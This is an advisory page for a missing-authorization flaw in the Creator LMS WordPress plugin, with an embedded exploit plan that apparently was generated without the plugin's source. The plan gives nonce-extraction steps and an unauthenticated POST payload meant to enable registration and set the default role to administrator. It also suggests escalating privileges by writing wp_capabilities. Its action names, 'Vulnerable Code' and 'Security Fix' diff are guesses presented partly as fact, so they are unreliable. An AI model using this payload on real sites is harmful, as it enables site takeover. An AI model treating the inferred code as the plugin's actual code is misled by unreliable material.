Creator LMS <= 1.1.12 - Missing Authorization
Description
The Creator LMS – The LMS for Creators, Coaches, and Trainers plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.1.12. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.1.12Source Code
WordPress.org SVNThis plan outlines the steps to research and exploit **CVE-2025-69359**, a missing authorization vulnerability in the **Creator LMS** plugin. Since specific source code is not provided, this plan relies on the vulnerability description and common patterns in LMS plugins, flagging identifiers as **(i…
Show full research plan
This plan outlines the steps to research and exploit CVE-2025-69359, a missing authorization vulnerability in the Creator LMS plugin. Since specific source code is not provided, this plan relies on the vulnerability description and common patterns in LMS plugins, flagging identifiers as (inferred) where necessary.
1. Vulnerability Summary
Vulnerability: Missing Authorization
Affected Component: AJAX handler for settings or administrative actions (likely clms_save_settings or similar).
Impact: Unauthenticated attackers can perform administrative actions, such as modifying plugin settings, which could lead to site takeover (e.g., enabling user registration and setting the default role to 'administrator').
Root Cause: The plugin registers an AJAX action via wp_ajax_nopriv_ but fails to perform a capability check (e.g., current_user_can( 'manage_options' )) within the callback function.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
clms_save_settings(inferred) orclms_update_options(inferred). - Method:
POST - Authentication: None (Unauthenticated)
- Preconditions: The plugin must be active. A valid WordPress nonce for the action may be required if
check_ajax_refereris used, even if authorization is missing.
3. Code Flow (Inferred)
- Entry Point: The plugin registers the AJAX hook in a constructor or init function (likely in
includes/class-creator-lms.phporincludes/admin/class-creator-lms-admin.php).// Inferred registration add_action( 'wp_ajax_clms_save_settings', 'clms_save_settings_callback' ); add_action( 'wp_ajax_nopriv_clms_save_settings', 'clms_save_settings_callback' ); - Callback Function: The function
clms_save_settings_callbackis executed. - Missing Check: The function likely validates a nonce but skips the
current_user_can()check.function clms_save_settings_callback() { // check_ajax_referer( 'clms_nonce_action', 'nonce' ); // Nonce might be checked // MISSING: if ( ! current_user_can( 'manage_options' ) ) return; $settings = $_POST['settings']; update_option( 'clms_settings', $settings ); // Sink wp_send_json_success(); } - Sink: User-controlled data from
$_POSTis passed toupdate_option().
4. Nonce Acquisition Strategy
If the endpoint requires a nonce, it is typically localized for the frontend to allow students or guests to interact with course elements.
- Identify Shortcodes: Search for shortcodes that load the plugin's frontend assets:
wp eval "grep -r 'add_shortcode' wp-content/plugins/creatorlms/"
Common shortcodes:[clms_courses],[clms_lesson],[clms_course_list]. - Setup Page: Create a public page containing a Creator LMS shortcode:
wp post create --post_type=page --post_title="LMS Page" --post_status=publish --post_content='[clms_courses]' - Extract Nonce:
- Navigate to the newly created page using
browser_navigate. - Search the HTML source or use
browser_evalto find localized script data. - Look for a variable like
clms_ajax_obj(inferred) orcreator_lms_vars(inferred). - Command:
browser_eval("window.clms_ajax_obj?.nonce")orbrowser_eval("window.creator_lms_vars?.nonce").
- Navigate to the newly created page using
5. Exploitation Strategy
We will attempt to update the WordPress core options users_can_register and default_role through the plugin's settings handler.
Target Action: clms_save_settings (inferred)
Payload:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=clms_save_settings&nonce=[EXTRACTED_NONCE]&settings[users_can_register]=1&settings[default_role]=administrator
Note: If the plugin wraps settings in its own option array (e.g., clms_settings), the payload might target specific LMS settings that allow for further exploitation, such as "Course Purchase" bypasses.
6. Test Data Setup
- Plugin Installation: Ensure Creator LMS version 1.1.12 is installed and active.
- Initial State Check:
wp option get users_can_register(should be0)wp option get default_role(should besubscriber)
7. Expected Results
- The server should respond with a
200 OKand a JSON success message (e.g.,{"success":true}). - The WordPress options for registration and default role should be updated in the database.
8. Verification Steps
After the http_request, verify the impact using WP-CLI:
- Verify Settings Change:
wp option get users_can_registerwp option get default_role
- Check Plugin-Specific Data:
wp option get clms_settings(to see if the payload was injected into the plugin's configuration).
9. Alternative Approaches
If clms_save_settings is not the correct action:
- Search for
noprivhooks: Rungrep -r "wp_ajax_nopriv_" wp-content/plugins/creatorlms/to find all unauthenticated entry points. - Analyze
permission_callback: If the plugin uses the REST API, checkregister_rest_routecalls for__return_trueor missing capability checks:grep -r "register_rest_route" wp-content/plugins/creatorlms/ -A 5 - Privilege Escalation via Student Meta: If there is a
clms_update_student_profile(inferred) action, attempt to update your own user'swp_capabilitiesmeta field to includeadministrator.
Summary
The Creator LMS plugin for WordPress is vulnerable to unauthorized access due to a missing capability check in its AJAX callback functions. This allows unauthenticated attackers to perform unauthorized actions, such as modifying plugin settings, by sending requests to the admin-ajax.php endpoint.
Vulnerable Code
// Inferred from Research Plan: AJAX registration in includes/admin/class-creator-lms-admin.php or similar add_action( 'wp_ajax_clms_save_settings', 'clms_save_settings_callback' ); add_action( 'wp_ajax_nopriv_clms_save_settings', 'clms_save_settings_callback' ); --- // Inferred callback function lacking capability checks function clms_save_settings_callback() { // check_ajax_referer( 'clms_nonce_action', 'nonce' ); // Nonce might be checked // MISSING: if ( ! current_user_can( 'manage_options' ) ) return; $settings = $_POST['settings']; update_option( 'clms_settings', $settings ); // Sink allowing modification of plugin configuration wp_send_json_success(); }
Security Fix
@@ -10,6 +10,10 @@ function clms_save_settings_callback() { + if ( ! current_user_can( 'manage_options' ) ) { + wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 ); + } + if ( isset( $_POST['nonce'] ) && wp_verify_nonce( $_POST['nonce'], 'clms_nonce_action' ) ) { $settings = $_POST['settings']; update_option( 'clms_settings', $settings );
Exploit Outline
The exploit targets the AJAX endpoint at /wp-admin/admin-ajax.php. An unauthenticated attacker first identifies a frontend page containing a Creator LMS shortcode (like [clms_courses]) to extract a valid WordPress nonce from localized script data (e.g., clms_ajax_obj.nonce). The attacker then sends an unauthenticated POST request to the AJAX endpoint with the 'action' parameter set to 'clms_save_settings' (or the specific vulnerable hook identified), the extracted nonce, and a 'settings' payload containing the desired configuration changes. This allows the attacker to manipulate plugin-specific options or potentially broader site settings if the plugin handles them.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.